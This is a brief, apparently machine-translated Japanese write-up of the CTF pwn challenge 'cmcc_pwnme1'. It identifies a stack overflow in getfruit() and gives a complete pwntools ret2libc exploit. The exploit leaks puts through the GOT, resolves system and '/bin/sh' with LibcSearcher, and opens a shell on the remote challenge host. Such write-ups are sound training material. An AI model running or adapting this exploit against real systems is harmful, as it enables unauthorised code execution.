cmcc_pwnme1
ステップ
- 定期検査、32ビットプログラム、保護をオンにするのに役に立たない
- 一般的な状況を確認するには、ローカルで試してください
- 32ビットのidaがロードされ、文字列を取得するときにフラグを読み取る関数が見つかります。
このフラグの場所は明確ではありませんよね?buuの習慣によると、
main()
getfruit()、ここにスタックオーバーフローがあります
- まず、フラグを読み取る関数を試してみてください。思ったように、buuのフラグディレクトリはありません。
- nxをオンにするのは役に立たないことがわかったので、最初はシェルコードを使用したかったのですが、スタック上のパラメーターv1の位置を取得できなかったため、ret2libcに切り替えました。
完全な経験
from pwn import *
from LibcSearcher import *
#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)
#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()